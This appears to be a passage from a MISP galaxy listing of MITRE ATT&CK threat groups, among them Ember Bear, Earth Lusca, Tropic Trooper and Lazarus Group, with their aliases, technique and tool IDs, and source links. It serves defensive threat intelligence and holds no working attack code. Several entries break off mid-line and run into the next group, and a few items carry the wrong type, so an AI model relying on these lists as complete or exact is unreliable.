• uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Nltest - S0359" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Bazar - S0534" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Ryuk - S0446" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ping - S0097" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="GrimAgent - S0632" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Rubeus - S1071" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="AdFind - S0552" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 6377. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0102">https://attack.mitre.org/groups/G0102</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/">https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-302a">https://us-cert.cisa.gov/ncas/alerts/aa20-302a</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/">https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/wizard-spider-adversary-update/">https://www.crowdstrike.com/blog/wizard-spider-adversary-update/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf">https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-blackburn">https://www.secureworks.com/research/threat-profiles/gold-blackburn</a></td>
</tr>
</tbody>
</table>

**Ember Bear - G1003**

[Ember Bear](https://attack.mitre.org/groups/G1003) is a suspected Russian state-sponsored cyber espionage group that has been active since at least March 2021. [Ember Bear](https://attack.mitre.org/groups/G1003) has primarily focused their operations against Ukraine and Georgia, but has also targeted Western European and North American foreign ministries, pharmaceutical companies, and financial sector organizations. Security researchers assess [Ember Bear](https://attack.mitre.org/groups/G1003) likely conducted the [WhisperGate](https://attack.mitre.org/software/S0689) destructive wiper attacks against Ukraine in early 2022. (Citation: CrowdStrike Ember Bear Profile March 2022)(Citation: Mandiant UNC2589 March 2022)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022)

The tag is: misp-galaxy:mitre-intrusion-set="Ember Bear - G1003"

Ember Bear - G1003 is also known as:

- Ember Bear
- Saint Bear
- UNC2589
- UAC-0056
- Lorec53
Lorec Bear

Bleeding Bear

View relationships graph

Ember Bear - G1003 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WhisperGate - S0689" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="OutSteel - S1017" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1588.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

**Table 6378. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G1003">https://attack.mitre.org/groups/G1003</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/">https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/who-is-ember-bear/">https://www.crowdstrike.com/blog/who-is-ember-bear/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation">https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation</a></td>
</tr>
</tbody>
</table>

**Dust Storm - G0031**

[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)

The tag is: **misp-galaxy:mitre-intrusion-set="Dust Storm - G0031"**

Dust Storm - G0031 is also known as:

- Dust Storm

**View relationships graph**

Dust Storm - G0031 has relationships with:

- similar: misp-galaxy:threat-actor="Dust Storm" with estimative-language:likelihood-probability="likely"

**Table 6379. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0031">https://attack.mitre.org/groups/G0031</a></td>
</tr>
</tbody>
</table>
Night Dragon - G0014

[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)

The tag is: `misp-galaxy:mitre-intrusion-set="Night Dragon - G0014"`

Night Dragon - G0014 is also known as:

- Night Dragon

View relationships graph

Night Dragon - G0014 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party infrastructure services - T1307"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Acquire and/or use 3rd party software services - T1330"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351"` with `estimative-language:likelihood-probability="almost-certain"`
- similar: `misp-galaxy:threat-actor="Night Dragon"` with `estimative-language:likelihood-probability="likely"

Table 6380. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0014">https://attack.mitre.org/groups/G0014</a></td>
</tr>
</tbody>
</table>

Earth Lusca - G1006

[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)

[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth
Lusca's techniques and infrastructure are separate. (Citation: TrendMicro EarthLusca 2022)

The tag is: `misp-galaxy:mitre-intrusion-set="Earth Lusca - G1006"`

Earth Lusca - G1006 is also known as:

- Earth Lusca
- TAG-22

View relationships graph

Earth Lusca - G1006 has relationships with:

- uses: `misp-galaxy:mitre-tool="certutil - S0160"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="PowerSploit - S0194"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-tool="Tasklist - S0057"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Server - T1583.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="Winnti for Linux - S0430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-tool="Nltest - S0359" with estimative-language:likelihood-
probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Services - T1584.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="ShadowPad - S0596" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 6381. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

3172
Aoqin Dragon - G1007

[Aoqin Dragon](https://attack.mitre.org/groups/G1007) is a suspected Chinese cyber espionage threat group that has been active since at least 2013. [Aoqin Dragon](https://attack.mitre.org/groups/G1007) has primarily targeted government, education, and telecommunication organizations in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. Security researchers noted a potential association between [Aoqin Dragon](https://attack.mitre.org/groups/G1007) and UNC94, based on malware, infrastructure, and targets. (Citation: SentinelOne Aoqin Dragon June 2022)

The tag is: `misp-galaxy:mitre-intrusion-set="Aoqin Dragon - G1007"`

Aoqin Dragon - G1007 is also known as:

- Aoqin Dragon

View relationships graph

Aoqin Dragon - G1007 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-
Blue Mockingbird - G0108

[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)

The tag is: `misp-galaxy:mitre-intrusion-set="Blue Mockingbird - G0108"`

Blue Mockingbird - G0108 is also known as:

- Blue Mockingbird

View relationships graph

Blue Mockingbird - G0108 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-
Table 6383. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0108">https://attack.mitre.org/groups/G0108</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/blue-mockingbird-cryptominer/">https://redcanary.com/blog/blue-mockingbird-cryptominer/</a></td>
</tr>
</tbody>
</table>

**Tropic Trooper - G0081**

[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro
Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)

The tag is: misp-galaxy:mitre-intrusion-set="Tropic Trooper - G0081"

Tropic Trooper - G0081 is also known as:

- Tropic Trooper
- Pirate Panda
- KeyBoy

View relationships graph

Tropic Trooper - G0081 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="KeyBoy - S0387" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-tool="BITAdmin - S0190" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="USBferry - S0452" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-malware="YAHOYAH - S0388" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-malware="ShadowPad - S0596" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 6384. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/groups/G0081">https://attack.mitre.org/groups/G0081</a></td>
</tr>
</tbody>
</table>

Moses Staff - G1009

[Moses Staff](https://attack.mitre.org/groups/G1009) is a suspected Iranian threat group that has primarily targeted Israeli companies since at least September 2021. [Moses Staff](https://attack.mitre.org/groups/G1009) openly stated their motivation in attacking Israeli companies is to cause damage by leaking stolen sensitive data and encrypting the victim’s networks without a ransom demand. (Citation: Checkpoint MosesStaff Nov 2021)
Security researchers assess [Moses Staff](https://attack.mitre.org/groups/G1009) is politically motivated, and has targeted government, finance, travel, energy, manufacturing, and utility companies outside of Israel as well, including those in Italy, India, Germany, Chile, Turkey, the UAE, and the US.(Citation: Cybereason StrifeWater Feb 2022)

The tag is: *misp-galaxy:mitre-intrusion-set="Moses Staff - G1009"*

Moses Staff - G1009 is also known as:

- Moses Staff

View relationships graph

Moses Staff - G1009 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Malware - T1587.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-malware="PyDCrypt - S1032"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-malware="DCSrv - S1033"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"* with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"* with estimative-language:likelihood-probability="almost-certain"
Lazarus Group - G0032

[Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau. The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)

North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094).

The tag is: `misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032"`

Lazarus Group - G0032 is also known as:

- Lazarus Group
- Labyrinth Chollima
- HIDDEN COBRA
- Guardians of Peace
- ZINC
- NICKEL ACADEMY

View relationships graph

Lazarus Group - G0032 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-

uses: misp-galaxy:mitre-malware="BLINDINGCAN - S0520" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Proxysvc - S0238" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"


uses: misp-galaxy:mitre-malware="KEYMARBLE - S0271" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-malware="ThreatNeedle - S0665" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Digital Certificates - T1588.004" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-malware="Bankshot - S0239" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

